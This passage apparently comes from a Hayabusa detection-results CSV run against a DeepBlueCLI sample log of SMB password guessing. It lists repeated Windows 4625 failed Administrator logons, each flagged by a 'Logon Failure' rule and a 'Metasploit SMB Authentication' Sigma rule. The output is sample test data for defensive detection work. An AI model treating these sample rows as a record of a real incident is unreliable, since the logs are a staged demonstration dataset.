Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.202 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Pr0cgd6cF5ukhZ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.202 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.249 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pS2fabTrbl6rZ1NB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.249 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FkylDDmUyuT57HdH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.305 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Aqs8rSvuLAQuhfDp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.337 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KI07KTgBJc4kBSKY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.380 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Re3n3nJ8EEhRRT3G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.421 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BzspAC3z1csEn0Ve : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.465 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tpkb6bf42SLUst3z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.505 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.546 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1F5d2wn60OgAExW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.546 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bhPNRHWhTyonDPuA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.600 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.642 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zEsnyWpUuHVBo6et : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.642 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I2FwaWy9TALkk9eU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.685 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.778 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fuikeQsxlOUVifVj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.778 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZWdsRJp9fHypPI1d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.824 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B0j0IBX2eZnx99n9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.909 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YIZ5Knxg0xr0WmDb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.909 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wuej3f7mEoWmd4SX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.953 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.998 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B0LcCi06ilIhFPwb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.998 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jWsCGgoFmH06rRf4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.041 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bP47JjNKqtYIZPsC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.093 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.140 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mNlWZ9o0xf7bl2d0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.140 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hnPnB2lEN3BSDpXJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.186 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dVMyeF9jGuzHkTHg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sDKLl3PjW2qrzJGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.269 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rkllnePSq3NQ5wgC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9qLWgQnR7P9cs7s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.359 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C1AdU07nzvv7RB2i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.408 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cHgiB5SMiQtsl5oD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.452 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 03e7QOn36l0jH35H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.499 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DoJBywV8x8cURwrO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.548 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.583 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SDYGYO6s6g6Dbx8r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.583 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.621 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nUqXpeTNePFyBmCo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.621 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T2h0qJWcbzRe1GSj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: edsfNOovOl1Ow503 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.697 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cxCC83XLMIJrNMvl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.740 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MzussOcg5ihdrnD0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.785 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 55l4HKICu8x0FpQv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.891 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5GmlVWDjZ75tT08G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.891 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o6v1DkuFvB04PESQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.933 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VTLdNb0XbzXuLi51 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.977 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CSjDYb1BhHC9UTxO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.016 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.054 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V1yLH19VsfLx9BGF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.054 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X4AVhjdz9yHsfss0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.133 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bqWLOKaKwS8VBxDj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.133 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EjK8A8DTSYursBzj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.181 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UaDCKPslwRaLBWtH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.225 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.274 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xAvoekviFDSAIgBe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.274 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 